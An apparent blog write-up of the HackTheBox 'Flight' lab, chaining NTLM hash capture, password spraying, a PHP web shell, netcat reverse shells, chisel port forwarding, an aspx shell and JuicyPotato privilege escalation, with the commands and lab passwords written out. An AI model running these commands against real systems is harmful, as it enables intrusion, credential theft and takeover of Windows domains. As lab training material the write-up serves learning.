HackTheBox — Flight

7 min readMay 6


Flight from HackTheBox which involved Forced NTLM Authentication, getting svc_apache’s hash, password spraying on the enumerated usernames will lead us to S.moon which had write access to Shared share allowing us to upload a desktop.ini and again performing forecd authentication to get c.bum’s hash, this user had access to web directory through smb allowing us to upload a php file giving us command execution as svc_apache, on enumerating local ports, port 8000 was running and hosting the directory from C:\inetpub\development, on uploading an aspx file they returned us commands running in context of iis appol , a service account which had SeImpersonate privileged enabled which can be abused through Juicy-Potato to get system shell.


Nmap scan report for    
Host is up (0.28s latency).
Not shown: 65516 filtered tcp ports (no-response)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-17 00:13:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49690/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

PORT 139/445 (SMB)

Checking null authentication on SMB shows that we can’t access any share through anonymously


The site didn’t had anything there as it was just a page with no links also gobuster didn't showed anything interesting to as well

So adding flight.htb in /etc/hosts file as we can see the domain name at the bottom of the page

Fuzzing for subdomains using wfuzz

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://flight.htb' -H "Host: FUZZ.flight.htb"  --hh 7069

Adding this subdomain in hosts file and accessing the site

Checking for Local File Inclusion it filters .. if it's in the url but allows /

Foothold (Svc_apache)

Running wfuzz again to fuzz for LFI payloads we find that we can just specify a file name without using ..

Let’s verify if we have remote file inclusion if we do we can just try accessing a fake share on our machine and use responder to capture NTLMv2 hash

We have a hit so now running responder and accessing a fake share with //IP/share

responder -I tun0

Saving this hash in a file cracking it with john

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

With the valid credentials we can start enumerating the shares and usernames through crackmapexec

Using enum4linux to query usernames and filtering usernames so that we can password spray on them

enum4linux-ng -A flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' | grep username | awk -F : {'print $2'} > users.txt


Using either cme or kerbrute to perform password spary we’ll get S.Moon having the same password

kerbrute passwordspray -d flight.htb --dc ./users.txt 'S@Ss!K@*t13'
cme smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

Checking shares with s.moon, we see that we have write access on `shared`


On uploading .scf file extension to perform forced authentication it didn't allowed us to upload that extension, not sure why

But on uploading desktop.ini file it worked


Cracking this hash again with john


This user has write access on web share which means that we can upload php file which will be reflected on schooled.flight.htb

Uploading a php file calling phpinfo()

<?php phpinfo(); ?>

Having the ability to execute commands on the system we can get a reverse shell by uploading nc.exe and executing it

http://school.flight.htb/uwu.php?cmd=curl+ -o C:\Windows\Temp\nc64.exe

http://school.flight.htb/uwu.php?cmd=C:\Windows\Temp\nc64.exe 3333 -e powershell.exe

Since we already have credentials of c.bum we can execute commands through that user using RunasC.exe

.\RunasCs.exe c.bum Tikkycoll_431012284 whoami

Running netstat, we’ll see that there’s port 8000 open locally

Port forwarding port 8000 using chisel

chisel server --reverse -p 8001

And running the client on the target machine

.\chisel.exe client R:8000:

Accessing the port on our browser shows that access is denied

But this shows the path where the directory is hosted, C:\inetpub\Development

In this folder, there are few html files

Running icacls on the development folder shows that c.bum has write access

Using RunasCs we can switch user as c.bum and transfer aspx shell in that directory

.\RunasCs.exe c.bum Tikkycoll_431012284 'curl -o C:\inetpub\Development\shell.aspx'

Accessing the file through the browser

I tried executing nc.exe to get a reverse shell but it wasn’t working for some reason so instead I generated a msfvenom payload

Transfer it and execute it

On checking privileges of iis appol , SeImpersonate was enabled

To abuse this, we can use JuicyPotato-ng to get a system shell

.\potatoe.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Windows\Temp\nc.exe 6666 -e cmd.exe"





Smol Pentester| OSCP | CTF Player | UwU